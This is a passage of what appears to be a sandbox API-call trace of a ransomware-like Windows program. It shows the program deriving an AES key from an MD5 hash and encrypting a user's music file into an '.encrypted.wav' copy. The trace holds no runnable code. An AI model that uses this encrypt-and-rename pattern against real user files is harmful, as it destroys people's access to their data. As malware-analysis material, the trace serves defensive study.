lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.373] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.374] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.374] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.374] CryptHashData (hHash=0xe8f4062720, pbData=0xe8f418b750, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.374] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.374] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062720, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0027.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.375] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.375] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.375] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.375] CryptDestroyHash (hHash=0xe8f4062720) returned 1 [0027.375] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.376] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.376] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\qkmezet2rw9j4.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.376] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.377] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.377] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.377] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.377] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.377] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.377] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.encrypted.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\qkmezet2rw9j4.encrypted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.377] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.378] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.379] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.379] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1263, lpOverlapped=0x0) returned 1 [0027.379] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.381] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.382] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.382] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.382] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.382] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.382] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.382] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.382] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.383] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.383] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064c50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.383] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.383] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.384] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.384] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1263, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1270) returned 1 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] CharLowerBuffW (in: lpsz="byte[4721]", cchLength=0xa | out: lpsz="byte[4721]") returned 0xa [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.384] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.384] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4193430*, pdwDataLen=0xe8f3dfdf68*=0x1263, dwBufLen=0x1270 | out: pbData=0xe8f4193430*, pdwDataLen=0xe8f3dfdf68*=0x1270) returned 1 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.384] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.384] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.384] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.385] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.385] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.385] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.385] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.385] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.386] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.386] CharUpperBuffW (in: 